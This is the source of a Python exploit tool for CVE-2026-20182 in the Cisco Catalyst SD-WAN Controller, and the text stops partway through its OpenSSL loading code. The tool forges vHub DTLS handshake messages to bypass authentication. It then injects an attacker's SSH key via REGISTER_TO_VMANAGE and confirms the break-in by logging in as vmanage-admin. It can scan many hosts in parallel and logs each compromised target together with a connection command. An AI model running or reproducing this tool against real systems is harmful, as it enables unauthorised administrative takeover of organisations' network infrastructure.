#!/usr/bin/env python3 # By: Nxploited ( Khaled Alenazi ) # CVE-2026-20182 — Cisco Catalyst SD-WAN Co from __future__ import annotations import argparse import base64 import ctypes import json import os import random import re import select import socket import struct import subprocess import sys import threading import time import uuid import warnings from dataclasses import dataclass, replace from ctypes import ( c_char_p, c_int, c_long, c_size_t, c_ulong, c_void_p, create_string_buffer, ) from datetime import datetime, timedelta, timezone from pathlib import Path from queue import Empty, Queue from typing import Any, Dict, List, Optional, Set, Tuple from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption, PrivateFormat from cryptography.x509.oid import NameOID from rich import box from rich.align import Align from rich.console import Console, Group from rich.live import Live from rich.panel import Panel from rich.progress import ( BarColumn, Progress, SpinnerColumn, TaskProgressColumn, TextColumn, TimeElapsedColumn, ) from rich.prompt import Confirm, Prompt from rich.rule import Rule from rich.table import Table from rich.text import Text from rich.theme import Theme warnings.filterwarnings("ignore") CVE_NAME = "CVE-2026-20182" TARGET_PORT = 12346 VDaemon_DTLS_PORT = 12346 NETCONF_PORT = 830 SSH_STANDARD_PORT = 22 RESULTS_FILE = "cisco_sdwan_results.jsonl" SUCCESS_FILE = "cisco_sdwan_success.txt" FINDINGS_CONFIRMED_JSONL = "cisco_sdwan_01_confirmed_ssh.jsonl" FINDINGS_INJECT_ACK_JSONL = "cisco_sdwan_02_inject_ack_only.jsonl" FINDINGS_BYPASS_JSONL = "cisco_sdwan_03_bypass_only.jsonl" FINDINGS_COMMANDS_TXT = "cisco_sdwan_commands.txt" FINDINGS_SUMMARY_JSON = "cisco_sdwan_findings.json" KEYS_DIR = "sdwan_keys" TIER_CONFIRMED = "confirmed_ssh" TIER_INJECT_ACK = "inject_ack_only" TIER_BYPASS = "bypass_only" TIER_LABELS = { TIER_CONFIRMED: "Confirmed — SSH verified", TIER_INJECT_ACK: "Partial — inject ACK only (SSH not verified)", TIER_BYPASS: "Indicator — bypass/Hello only (no confirmed inject)", } MSG_HELLO = 0x05 MSG_CHALLENGE = 0x08 MSG_CHALLENGE_ACK = 0x09 MSG_CHALLENGE_ACK_ACK = 0x0A MSG_TEAR_DOWN = 0x0B MSG_REGISTER_TO_VMANAGE = 0x0D MSG_VMANAGE_TO_PEER = 0x0E DEV_VHUB = 2 HDR_FLAGS = 0xA0 TLV_UUID = 0x0006 TLV_INSTANCE_ID = 0x0013 TLV_MAX_INSTANCES = 0x0014 TLV_FLAG_18 = 0x0018 TLV_FLAG_19 = 0x0019 TLV_SERVER_KEY = 0x0032 TLV_NUM_VSMARTS = 0x0021 TLV_NUM_VMANAGES = 0x0022 MSG_NAMES = { 0: "NEW_CHALLENGE_ACK", 1: "Register", 5: "Hello", 7: "Data", 8: "CHALLENGE", 9: "CHALLENGE_ACK", 10: "CHALLENGE_ACK_ACK", 11: "TEAR_DOWN", 12: "DELETE_VSMARTS_SERIAL", 13: "REGISTER_TO_VMANAGE", 14: "VMANAGE_TO_PEER", 15: "submsg", } HANDSHAKE_TIMEOUT = 5.0 MAX_HANDSHAKE_RETRIES = 10 RECV_BUF_SIZE = 65536 DEFAULT_THREADS = 12 MAX_THREADS = 200 DEFAULT_DOMAIN_ID = 1 DEFAULT_SITE_ID = 100 FABRIC_FALLBACK_PRESETS: Tuple[Tuple[int, int], ...] = ( (1, 100), (1, 1), (0, 0), ) SSL_VERIFY_NONE = 0 EVP_PKEY_RSA = 6 SSL_ERROR_WANT_READ = 2 SSL_ERROR_WANT_WRITE = 3 BIO_CTRL_PENDING = 10 DTLS_CTRL_HANDLE_TIMEOUT = 106 RUN_CFG: Dict[str, Any] = { "default_domain_id": DEFAULT_DOMAIN_ID, "default_site_id": DEFAULT_SITE_ID, "fabric_fallback": True, "verify_ssh": True, "verify_ssh22": False, "try_list_udp_ports": True, "extra_udp_ports": (), "verbose": False, "inject_ssh": False, "keys_dir": KEYS_DIR, } targets_queue: Queue["TargetSpec"] = Queue() @dataclass(frozen=True) class TargetSpec: host: str domain_id: int = DEFAULT_DOMAIN_ID site_id: int = DEFAULT_SITE_ID list_ports: Tuple[int, ...] = () web_tcp_hints: Tuple[int, ...] = () port: int = VDaemon_DTLS_PORT def key(self) -> Tuple[str, int, int]: return (self.host, self.domain_id, self.site_id) def with_udp_port(self, udp_port: int) -> "TargetSpec": return replace(self, port=udp_port) def ports_to_try(self) -> Tuple[int, ...]: out: List[int] = [] seen: Set[int] = set() def add(p: int) -> None: if 1 <= p <= 65535 and p not in seen: seen.add(p) out.append(p) add(VDaemon_DTLS_PORT) if RUN_CFG.get("try_list_udp_ports", True): for p in sorted(self.list_ports): add(p) for p in RUN_CFG.get("extra_udp_ports", ()): add(int(p)) return tuple(out) def label(self) -> str: lp = ",".join(str(p) for p in self.list_ports) if self.list_ports else "—" wh = ",".join(str(p) for p in self.web_tcp_hints) if self.web_tcp_hints else "—" return ( f"{self.host} UDP=[{','.join(map(str, self.ports_to_try()))}] " f"web_TCP_hint=[{wh}] d={self.domain_id} s={self.site_id} list_UDP=[{lp}]" ) def key_slug(self, dtls_port: Optional[int] = None) -> str: host = self.host.replace(":", "_").replace(".", "_") p = dtls_port if dtls_port is not None else self.port return f"sdwan_{host}_{p}_d{self.domain_id}_s{self.site_id}.pem" def merge_target_specs(a: TargetSpec, b: TargetSpec) -> TargetSpec: ports = tuple(sorted(set(a.list_ports + b.list_ports))) hints = tuple(sorted(set(a.web_tcp_hints + b.web_tcp_hints))) return TargetSpec( host=a.host, domain_id=a.domain_id, site_id=a.site_id, list_ports=ports, web_tcp_hints=hints, ) stats = { "total": 0, "done": 0, "success": 0, "bypass_only": 0, "inject_ack_only": 0, "error": 0, } stats_lock = threading.Lock() print_lock = threading.Lock() findings_lock = threading.Lock() _findings_seq = 0 _openssl_lock = threading.Lock() _thread_local = threading.local() AUTHOR_LINE = "By: Nxploited ( Khaled Alenazi )" CVE_TITLE = "CVE-2026-20182 — Cisco Catalyst SD-WAN Controller" BANNER_RAW = r""" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ █████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██╔═████╗███║██╔══██╗╚════██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╗ █████╔╝██║██╔██║╚██║╚█████╔╝ █████╔╝ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗╚════╝██╔═══╝ ████╔╝██║ ██║██╔══██╗██╔═══╝ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ███████╗╚██████╔╝ ██║╚█████╔╝███████╗ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚════╝ ╚══════╝ """.strip("\n") BANNER_STYLES = ("banner.a", "banner.b", "banner.c", "banner.b", "banner.a", "banner.c") theme = Theme( { "brand": "bold #e2e8f0", "brand.dim": "#94a3b8", "banner.a": "#7dd3fc", "banner.b": "#a5b4fc", "banner.c": "#c4b5fd", "accent": "bold #67e8f9", "ok": "#86efac", "fail": "#fca5a5", "warn": "#fdba74", "info": "#93c5fd", "muted": "#64748b", "dim": "dim #475569", "highlight": "italic #e9d5ff", "card.title": "bold #cbd5e1", "card.body": "#94a3b8", "border": "#334155", "glass": "#1e293b", "menu.key": "bold #fbbf24", "menu.label": "#e2e8f0", "menu.value": "#7dd3fc", "progress": "#38bdf8", "progress.done": "#4ade80", } ) console = Console(theme=theme, force_terminal=True, color_system="truecolor", highlight=False) def _term_width() -> int: try: return max(72, console.size.width or 100) except Exception: return 100 def _glass_panel( content: Any, title: str = "", border: str = "border", box_style: box.Box = box.ROUNDED, ) -> Panel: return Panel( content, title=title, border_style=border, box=box_style, padding=(0, 1), expand=False, ) def _banner_text(width: int) -> Text: lines = [ln.rstrip() for ln in BANNER_RAW.splitlines() if ln.strip()] if not lines: return Text(CVE_TITLE, style="brand") max_w = max(len(ln) for ln in lines) out = Text() if width < max_w + 6: out.append("╔", style="banner.a") out.append("═" * min(max_w, width - 10), style="banner.b") out.append("╗\n", style="banner.a") out.append("║ ", style="banner.a") out.append("CVE-2026-20182", style="banner.c") out.append(" · ", style="muted") out.append("Cisco SD-WAN", style="banner.b") pad = max(0, min(max_w, width - 10) - 28) out.append(" " * pad, style="muted") out.append(" ║\n", style="banner.a") out.append("╚", style="banner.a") out.append("═" * min(max_w, width - 10), style="banner.b") out.append("╝", style="banner.a") return out for i, ln in enumerate(lines): if width < len(ln) + 2: ln = ln[: max(0, width - 3)] + "…" if i: out.append("\n") out.append(ln, style=BANNER_STYLES[i % len(BANNER_STYLES)]) return out def show_banner() -> None: w = _term_width() cred = Text() cred.append(AUTHOR_LINE + "\n", style="brand") cred.append(CVE_TITLE, style="brand.dim") console.print( _glass_panel(Align.center(cred), title="[card.title]◆[/card.title]", border="border", box_style=box.MINIMAL) ) console.print(Rule(style="border")) console.print( _glass_panel( Align.center(_banner_text(w)), title="[card.title] OPERATIONS CONSOLE [/card.title]", border="accent", ) ) spec = Table.grid(padding=(0, 2)) spec.add_column(ratio=1) spec.add_column(ratio=1) left = Text() left.append("DTLS exploit ", style="muted") left.append(f"UDP/{VDaemon_DTLS_PORT}", style="accent") left.append(" + explicit list ports\n", style="dim") left.append("Web hints ", style="muted") left.append("http(s) → TCP only (not UDP)\n", style="info") left.append("Bypass path ", style="muted") left.append("CHALLENGE_ACK vHub (9)\n", style="accent") left.append("Default mode ", style="muted") left.append("check", style="ok") left.append(" · full = inject + SSH proof\n", style="dim") right = Text() right.append("SSH verify ", style="muted") right.append(f"TCP/{NETCONF_PORT}", style="accent") right.append(" (+ --verify-ssh22)\n", style="dim") right.append("Real success ", style="muted") right.append("ssh_verified only\n", style="ok") right.append("Output ", style="muted") right.append(f"{FINDINGS_SUMMARY_JSON}\n", style="highlight") right.append(f"{FINDINGS_COMMANDS_TXT}\n", style="dim") spec.add_row(left, right) console.print(_glass_panel(spec, border="border")) console.print() def show_config_menu(args: argparse.Namespace) -> Dict[str, Any]: cfg: Dict[str, Any] = { "targets_file": args.file, "threads": max(1, min(args.threads, MAX_THREADS)), "default_domain_id": args.domain, "default_site_id": args.site, "inject_ssh": args.mode == "full", "verbose": args.verbose, "fabric_fallback": not args.no_fallback, "verify_ssh": not args.no_ssh_verify, "verify_ssh22": args.verify_ssh22, "try_list_udp_ports": not args.no_try_list_udp, "extra_udp_ports": _parse_extra_udp_ports(args.extra_udp_ports), "keys_dir": KEYS_DIR, } def _menu_table() -> Table: tbl = Table( title="[card.title]Configuration Matrix[/card.title]", box=box.ROUNDED, border_style="border", show_header=True, header_style="card.title", expand=True, pad_edge=False, ) tbl.add_column("#", style="menu.key", width=4, justify="center") tbl.add_column("Parameter", style="menu.label", ratio=2) tbl.add_column("Current value", style="menu.value", ratio=3) ep = ",".join(map(str, cfg["extra_udp_ports"])) or "—" rows = [ ("1", "Targets file", str(cfg["targets_file"])), ("2", "Worker threads", str(cfg["threads"])), ("3", "Default DOMAIN_ID", str(cfg["default_domain_id"])), ("4", "Default SITE_ID", str(cfg["default_site_id"])), ("5", "Run mode", "full" if cfg["inject_ssh"] else "check"), ("6", "Fabric auto-retry", "on" if cfg["fabric_fallback"] else "off"), ("7", "Verbose protocol log", "on" if cfg["verbose"] else "off"), ("8", "SSH verify after inject", "on" if cfg["verify_ssh"] else "off"), ("9", "Also verify SSH :22", "on" if cfg["verify_ssh22"] else "off"), ("10", "Try explicit list UDP ports", "on" if cfg["try_list_udp_ports"] else "off"), ("11", "Extra UDP ports (lab)", ep), ("12", "Show targets format help", "guide"), ("0", "▶ LAUNCH SCAN", "START"), ] for key, label, val in rows: tbl.add_row(key, label, val) return tbl while True: console.print() console.print(_glass_panel(_menu_table(), border="accent")) choice = Prompt.ask("[accent]▸[/accent] Select option", default="0").strip().lower() if choice in ("0", "start", "go", "run", ""): break if choice == "1": cfg["targets_file"] = Prompt.ask("Targets file", default=str(cfg["targets_file"])) elif choice == "2": raw = Prompt.ask("Threads", default=str(cfg["threads"])) try: cfg["threads"] = max(1, min(int(raw), MAX_THREADS)) except ValueError: pass elif choice == "3": raw = Prompt.ask("DOMAIN_ID", default=str(cfg["default_domain_id"])) try: cfg["default_domain_id"] = int(raw) except ValueError: pass elif choice == "4": raw = Prompt.ask("SITE_ID", default=str(cfg["default_site_id"])) try: cfg["default_site_id"] = int(raw) except ValueError: pass elif choice == "5": m = Prompt.ask("Mode (check/full)", default="check" if not cfg["inject_ssh"] else "full") cfg["inject_ssh"] = m.strip().lower() == "full" elif choice == "6": cfg["fabric_fallback"] = Confirm.ask("Fabric auto-retry on TEAR_DOWN?", default=cfg["fabric_fallback"]) elif choice == "7": cfg["verbose"] = Confirm.ask("Verbose TX/RX?", default=cfg["verbose"]) elif choice == "8": cfg["verify_ssh"] = Confirm.ask("Verify SSH after inject?", default=cfg["verify_ssh"]) elif choice == "9": cfg["verify_ssh22"] = Confirm.ask("Also try TCP/22?", default=cfg["verify_ssh22"]) elif choice == "10": cfg["try_list_udp_ports"] = Confirm.ask("Try explicit :port from list as UDP?", default=cfg["try_list_udp_ports"]) elif choice == "11": ep_default = ",".join(map(str, cfg["extra_udp_ports"])) raw = Prompt.ask("Extra UDP ports (comma)", default=ep_default) cfg["extra_udp_ports"] = _parse_extra_udp_ports(raw) elif choice == "12": show_setup_guide() else: console.print("[warn]Unknown option[/warn]") return cfg def safe_print(renderable: Any) -> None: with print_lock: console.print(renderable) def vlog(msg: str) -> None: if RUN_CFG.get("verbose"): safe_print(f"[dim] {msg}[/dim]") def append_jsonl(record: Dict[str, Any]) -> None: try: with open(RESULTS_FILE, "a", encoding="utf-8") as f: f.write(json.dumps(record, ensure_ascii=False) + "\n") except OSError: pass def append_success(line: str) -> None: try: with open(SUCCESS_FILE, "a", encoding="utf-8") as f: f.write(line.rstrip() + "\n") except OSError: pass def _suggest_ssh_cmd(result: Dict[str, Any]) -> Optional[str]: if result.get("connection_cmd"): return str(result["connection_cmd"]) host = result.get("target") or result.get("host") key = result.get("private_key_file") if not host or not key: return None port = result.get("ssh_verify_port") or NETCONF_PORT return f'ssh -i "{key}" vmanage-admin@{host} -p {port} -N' def _build_finding_entry(spec: TargetSpec, result: Dict[str, Any], tier: str) -> Dict[str, Any]: global _findings_seq with findings_lock: _findings_seq += 1 seq = _findings_seq cmd = _suggest_ssh_cmd(result) return { "seq": seq, "tier": tier, "tier_label": TIER_LABELS.get(tier, tier), "proof_level": result.get("proof_level"), "host": spec.host, "dtls_port": result.get("dtls_port", spec.port), "domain_id": result.get("domain_id", spec.domain_id), "site_id": result.get("site_id", spec.site_id), "ports_tried": result.get("ports_tried", []), "bypass": bool(result.get("bypass")), "hello_ok": bool(result.get("hello_ok")), "inject_protocol_ack": bool(result.get("inject_protocol_ack")), "ssh_verified": bool(result.get("ssh_verified")), "ssh_verify_port": result.get("ssh_verify_port"), "ssh_verify_detail": (result.get("phases") or {}).get("ssh_verify"), "private_key_file": result.get("private_key_file"), "public_key_snippet": (result.get("public_key") or "")[:120], "connection_cmd": cmd, "connection_cmd_powershell": cmd, "note": result.get("error"), "timestamp": datetime.now(timezone.utc).isoformat(), } def _tier_jsonl_path(tier: str) -> str: return { TIER_CONFIRMED: FINDINGS_CONFIRMED_JSONL, TIER_INJECT_ACK: FINDINGS_INJECT_ACK_JSONL, TIER_BYPASS: FINDINGS_BYPASS_JSONL, }[tier] def append_tier_finding(spec: TargetSpec, result: Dict[str, Any], tier: str) -> None: entry = _build_finding_entry(spec, result, tier) path = _tier_jsonl_path(tier) block = ( f"\n{'=' * 72}\n" f"[{entry['seq']}] {entry['tier_label']}\n" f"Host: {entry['host']} UDP/DTLS: {entry['dtls_port']} " f"domain={entry['domain_id']} site={entry['site_id']}\n" ) if entry.get("connection_cmd"): block += f"SSH:\n {entry['connection_cmd']}\n" else: block += "SSH: — (no key / not injected — use --mode full)\n" if entry.get("private_key_file"): block += f"Key: {entry['private_key_file']}\n" if entry.get("note"): block += f"Note: {entry['note']}\n" with findings_lock: try: with open(path, "a", encoding="utf-8") as f: f.write(json.dumps(entry, ensure_ascii=False) + "\n") with open(FINDINGS_COMMANDS_TXT, "a", encoding="utf-8") as f: f.write(block) except OSError: pass def init_findings_outputs() -> None: ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") header = ( f"# Cisco SD-WAN — sorted findings\n" f"# Session: {ts}\n" f"# 01 = confirmed_ssh (ssh_verified=true) — full compromise proof\n" f"# 02 = inject_ack_only (REGISTER_TO_VMANAGE, SSH failed)\n" f"# 03 = bypass_only (Hello OK, no confirmed inject)\n\n" ) with findings_lock: global _findings_seq _findings_seq = 0 for p in ( FINDINGS_CONFIRMED_JSONL, FINDINGS_INJECT_ACK_JSONL, FINDINGS_BYPASS_JSONL, SUCCESS_FILE, ): try: Path(p).write_text("", encoding="utf-8") except OSError: pass try: Path(FINDINGS_COMMANDS_TXT).write_text(header, encoding="utf-8") except OSError: pass def _read_jsonl(path: str) -> List[Dict[str, Any]]: out: List[Dict[str, Any]] = [] if not os.path.isfile(path): return out try: with open(path, "r", encoding="utf-8") as f: for line in f: line = line.strip() if not line: continue try: out.append(json.loads(line)) except json.JSONDecodeError: continue except OSError: pass return out def write_findings_summary() -> None: confirmed = _read_jsonl(FINDINGS_CONFIRMED_JSONL) inject_ack = _read_jsonl(FINDINGS_INJECT_ACK_JSONL) bypass = _read_jsonl(FINDINGS_BYPASS_JSONL) summary = { "generated_at": datetime.now(timezone.utc).isoformat(), "cve": CVE_NAME, "mode": "full" if RUN_CFG.get("inject_ssh") else "check", "counts": { "confirmed_ssh": len(confirmed), "inject_ack_only": len(inject_ack), "bypass_only": len(bypass), }, "files": { "all_results": RESULTS_FILE, "commands_human": FINDINGS_COMMANDS_TXT, "confirmed_ssh": FINDINGS_CONFIRMED_JSONL, "inject_ack_only": FINDINGS_INJECT_ACK_JSONL, "bypass_only": FINDINGS_BYPASS_JSONL, }, "legend": TIER_LABELS, "confirmed_ssh": confirmed, "inject_ack_only": inject_ack, "bypass_only": bypass, } try: with open(FINDINGS_SUMMARY_JSON, "w", encoding="utf-8") as f: json.dump(summary, f, ensure_ascii=False, indent=2) except OSError: pass return summary def msg_name(mtype: int) -> str: return MSG_NAMES.get(mtype, f"Unknown(0x{mtype:02X})") def resolve_ipv4_for_hello(host: str) -> str: if _IP_RE.match(host): return host try: infos = socket.getaddrinfo(host, None, family=socket.AF_INET, type=socket.SOCK_DGRAM) if infos: return str(infos[0][4][0]) except (socket.gaierror, OSError): pass return "0.0.0.0" class SDWANProtocol: def __init__( self, domain_id: int, site_id: int, peer_host: str, peer_port: int, hello_ip: Optional[str] = None, ) -> None: self.domain_id = domain_id & 0xFFFFFFFF self.site_id = site_id & 0xFFFFFFFF self.peer_host = peer_host self.peer_port = peer_port self.hello_ip = hello_ip or resolve_ipv4_for_hello(peer_host) def build_header(self, msg_type: int) -> bytes: byte0 = msg_type & 0x0F byte1 = (DEV_VHUB & 0x0F) << 4 return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00, self.domain_id, self.site_id) @staticmethod def hdr_msg_type(hdr: bytes) -> int: return hdr[0] & 0x0F if hdr else -1 @staticmethod def build_tlv(tlv_type: int, value: bytes) -> bytes: return struct.pack(">HH", tlv_type, len(value)) + value def build_challenge_ack_body(self) -> bytes: uid = ( f"{random.getrandbits(32):08x}-" f"{random.getrandbits(16):04x}-" f"{random.getrandbits(16):04x}-" f"{random.getrandbits(16):04x}-" f"{random.getrandbits(48):012x}" ) server_key = os.urandom(32) tlvs = [ self.build_tlv(TLV_INSTANCE_ID, struct.pack(">H", 0)), self.build_tlv(TLV_MAX_INSTANCES, struct.pack(">H", 1)), self.build_tlv(TLV_FLAG_18, b"\x01"), self.build_tlv(TLV_FLAG_19, b"\x00"), self.build_tlv(TLV_UUID, uid.encode("ascii")), self.build_tlv(TLV_SERVER_KEY, server_key), ] return struct.pack(">BBB", 0, 0, len(tlvs)) + b"".join(tlvs) def build_hello_body(self) -> bytes: buf = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00) buf += struct.pack(">H", 0x0002) try: buf += socket.inet_aton(self.hello_ip) except OSError: buf += socket.inet_aton("0.0.0.0") buf += struct.pack(">H", self.peer_port) buf += struct.pack(">I", 1) buf += b"\x00" * 20 buf += struct.pack(">II", 10_000, 60_000) tlv_vsmarts = self.build_tlv(TLV_NUM_VSMARTS, b"\x00") tlv_vmanages = self.build_tlv(TLV_NUM_VMANAGES, b"\x00") buf += struct.pack(">B", 2) + tlv_vsmarts + tlv_vmanages return buf @staticmethod def build_ssh_inject_body(ssh_pubkey: str) -> bytes: key_buf = b"\n" + ssh_pubkey.strip().encode("ascii") + b"\n" if not key_buf.endswith(b"\n"): key_buf += b"\n" key_buf += b"\x00" if len(key_buf) < 768: key_buf += b"\x00" * (768 - len(key_buf)) key_buf += b"\x00" return key_buf def _ssh_string(data: bytes) -> bytes: return struct.pack(">I", len(data)) + data def _bn_to_bytes(num: int) -> bytes: if num == 0: return b"\x00" h = format(num, "x") if len(h) % 2: h = "0" + h return bytes.fromhex(h) def generate_ssh_keypair() -> Tuple[str, str]: key = rsa.generate_private_key(public_exponent=65537, key_size=2048) numbers = key.public_key().public_numbers() e_bytes = _bn_to_bytes(numbers.e) n_bytes = _bn_to_bytes(numbers.n) if e_bytes[0] & 0x80: e_bytes = b"\x00" + e_bytes if n_bytes[0] & 0x80: n_bytes = b"\x00" + n_bytes blob = _ssh_string(b"ssh-rsa") + _ssh_string(e_bytes) + _ssh_string(n_bytes) pubkey = f"ssh-rsa {base64.b64encode(blob).decode('ascii')}" priv_pem = key.private_bytes( Encoding.PEM, PrivateFormat.OpenSSH, NoEncryption(), ).decode("ascii") return pubkey, priv_pem def _result_score(result: Dict[str, Any]) -> int: if result.get("ssh_verified"): return 100 if result.get("inject_protocol_ack"): return 85 if result.get("hello_ok") or result.get("bypass"): return 70 phases = result.get("phases") or {} if phases.get("challenge") == "ok": return 40 if phases.get("dtls") == "ok": return 20 return 0 def _merge_best_result(current: Dict[str, Any], candidate: Dict[str, Any]) -> Dict[str, Any]: if not current: return candidate if _result_score(candidate) >= _result_score(current): merged = dict(candidate) merged["ports_tried"] = current.get("ports_tried", candidate.get("ports_tried")) merged["port_results"] = current.get("port_results", candidate.get("port_results")) return merged out = dict(current) out["ports_tried"] = candidate.get("ports_tried", out.get("ports_tried")) out["port_results"] = candidate.get("port_results", out.get("port_results")) return out def verify_ssh_access( host: str, key_path: Path, port: int = NETCONF_PORT, timeout: int = 18, ) -> Tuple[bool, str]: key_path = key_path.resolve() if not key_path.is_file() or key_path.stat().st_size < 64: return False, "key_file_missing_or_empty" null_hosts = "NUL" if sys.platform.startswith("win") else "/dev/null" base = [ "ssh", "-o", "BatchMode=yes", "-o", f"ConnectTimeout={timeout}", "-o", "StrictHostKeyChecking=no", "-o", f"UserKnownHostsFile={null_hosts}", "-o", "IdentitiesOnly=yes", "-o", "PreferredAuthentications=publickey", "-i", str(key_path), "-p", str(port), f"vmanage-admin@{host}", ] attempts: List[Tuple[List[str], str]] = [ (["-N"], "ssh_auth_ok_no_command"), (["-s", "netconf"], "ssh_netconf_subsystem"), (["exit"], "ssh_shell_exit"), ] last_detail = "no_attempt" for extra, ok_label in attempts: cmd = base + extra try: proc = subprocess.run( cmd, capture_output=True, text=True, timeout=timeout + 8, encoding="utf-8", errors="replace", ) except subprocess.TimeoutExpired: last_detail = f"{ok_label}:timeout" continue except FileNotFoundError: return False, "ssh_client_not_found" except OSError as e: return False, f"ssh_verify_os_error:{e}" combined = f"{proc.stderr or ''}\n{proc.stdout or ''}" low = combined.lower() if proc.returncode == 0: return True, ok_label if "permission denied" in low: return False, "ssh_permission_denied" last_detail = f"{ok_label}:exit_{proc.returncode}" if "connection refused" in low: return False, "ssh_connection_refused" if "timed out" in low or "timeout" in low: return False, "ssh_connection_timeout" if "no route to host" in low: return False, "ssh_no_route" snippet = last_detail[:240] return False, snippet def verify_ssh_access_for_run( host: str, key_path: Path ) -> Tuple[bool, str, Optional[int]]: ok, detail = verify_ssh_access(host, key_path, port=NETCONF_PORT, timeout=14) last = f"netconf_830:{detail}" if ok: return True, last, NETCONF_PORT if RUN_CFG.get("verify_ssh22"): ok, detail = verify_ssh_access(host, key_path, port=SSH_STANDARD_PORT, timeout=14) last = f"ssh_22:{detail}" if ok: return True, last, SSH_STANDARD_PORT return False, last, None def generate_self_signed_der() -> Tuple[bytes, bytes]: key = rsa.generate_private_key(public_exponent=65537, key_size=2048) subject = issuer = x509.Name( [ x509.NameAttribute(NameOID.COUNTRY_NAME, "US"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "SDWAN"), x509.NameAttribute(NameOID.COMMON_NAME, "vdaemon-peer"), ] ) now = datetime.now(timezone.utc) cert = ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(key.public_key()) .serial_number(random.randint(1, 0xFFFFFFFF)) .not_valid_before(now - timedelta(minutes=1)) .not_valid_after(now + timedelta(days=365)) .sign(key, hashes.SHA256()) ) cert_der = cert.public_bytes(Encoding.DER) key_der = key.private_bytes(Encoding.DER, PrivateFormat.TraditionalOpenSSL, NoEncryption()) return cert_der, key_der def get_thread_self_signed_der() -> Tuple[bytes, bytes]: cached = getattr(_thread_local, "dtls_cert_key", None) if cached is not None: return cached pair = generate_self_signed_der() _thread_local.dtls_cert_key = pair return pair class OpenSSLError(RuntimeError): pass class OpenSSLDTLS: def __init__(self) -> None: self._libssl = None self._libcrypto = None self._loaded = False self.ssl: Optional[c_void_p] = None self.ctx: Optional[c_void_p] = None self.udp_sock: Optional[socket.socket] = None self.rbio: Optional[c_void_p] = None self.wbio: Optional[c_void_p] = None self._recv_buf: Optional[ctypes.Array] = None self._f: Dict[str, Any] = {} def _bind(self, lib: ctypes.CDLL, name: str, restype, argtypes) -> Any: fn = getattr(lib, name) fn.restype = restype fn.argtypes = argtypes return fn def _load_libs(self) -> None: if self._loaded: return with _openssl_lock: if self._loaded: return self._libssl = self._dlopen("ssl") self._libcrypto = self._dlopen("crypto") ls, lc = self._libssl, self._libcrypto vp = c_void_p self._f = { "DTLS_client_method": self._bind(ls, "DTLS_client_method", vp, []), "SSL_CTX_new": self._bind(ls, "SSL_CTX_new", vp, [vp]), "SSL_CTX_set_verify": self._bind(ls, "SSL_CTX_set_verify", None, [vp, c_int, vp]), "SSL_CTX_use_certificate_ASN1": self._bind( ls, "SSL_CTX_use_certificate_ASN1", c_int, [vp, c_int, c_void_p] ), "SSL_CTX_use_PrivateKey_ASN1": self._bind( ls, "SSL_CTX_use_PrivateKey_ASN1", c_int, [c_int, vp, c_void_p, c_long] ), "SSL_new": self._bind(ls, "SSL_new", vp, [vp]), "SSL_set_bio": self._bind(ls, "SSL_set_bio", None, [vp, vp, vp]), "SSL_connect": self._bind(ls, "SSL_connect", c_int, [vp]), "SSL_read": self._bind(ls, "SSL_read", c_int, [vp, c_void_p, c_int]), "SSL_write": self._bind(ls, "SSL_write", c_int, [vp, c_void_p, c_int]), "SSL_get_error": self._bind(ls, "SSL_get_error", c_int, [vp, c_int]), "SSL_ctrl": self._bind(ls, "SSL_ctrl", c_long, [vp, c_int, c_long, vp]), "SSL_free": self._bind(ls, "SSL_free", None, [vp]), "SSL_CTX_free": self._bind(ls, "SSL_CTX_free", None, [vp]), "BIO_new": self._bind(lc, "BIO_new", vp, [vp]), "BIO_s_mem": self._bind(lc, "BIO_s_mem", vp, []), "BIO_read": self._bind(lc, "BIO_read", c_int, [vp, c_void_p, c_int]), "BIO_write": self._bind(lc, "BIO_write", c_int, [vp, c_void_p, c_int]), "BIO_ctrl": self._bind(lc, "BIO_ctrl", c_long, [vp, c_int, c_long, vp]), "ERR_clear_error": self._bind(lc, "ERR_clear_error", None, []), "ERR_get_error": self._bind(lc, "ERR_get_error", c_ulong, []), "ERR_error_string_n": self._bind( lc, "ERR_error_string_n", None, [c_ulong, c_char_p, c_size_t] ), } self._recv_buf = (ctypes.c_ubyte * RECV_BUF_SIZE)() self._loaded = True @staticmethod def _dlopen(name: str) -> ctypes.CDLL: if sys.platform.startswith("win"): candidates: List[str] = [] for env in ("OPENSSL_HOME", "OPENSSL_DIR"): base = os.environ.get(env) if base: bin_dir = os.path.join(base, "bin") for tag in ("4-x64", "4", "3-x64", "3", "1_1-x64"): candidates.append(os.path.join(bin_dir, f"lib{name}-{tag}.dll")) try: for entry in os.listdir(bin_dir): low = entry.lower() if low.startswith(f"lib{name}") and low.endswith(".dll"): candidates.append(os.path.join(bin_dir, entry)) except OSError: pass candidates += [ f"lib{name}-4-x64.dll", f"lib{name}-4.dll", f"lib{name}-3-x64.dll", f"lib{name}-3.dll", f"lib{name}-1_1-x64.dll", f"{name}-4-x64.dll", f"{name}-3-x64.dll", f"{name}.dll", ] elif sys.platform == "darwin": candidates = [ f"/opt/homebrew/opt/openssl@4/lib/lib{name}.4.dylib", f"/usr/local/opt/openssl@4/lib/lib{name}.4.dylib", f"/opt/homebrew/opt/openssl@3/lib/lib{name}.3.dylib", f"/usr/local/opt/openssl@3/lib/lib{name}.3.dylib", f"/opt/homebrew/opt/openssl/lib/lib{name}.dylib", f"/usr/local/opt/openssl/lib/lib{name}.dylib", f"lib{name}.4.dylib", f"lib{name}.3.dylib", f"lib{name}.dylib", ] else: candidates = [ f"lib{name}.so.4", 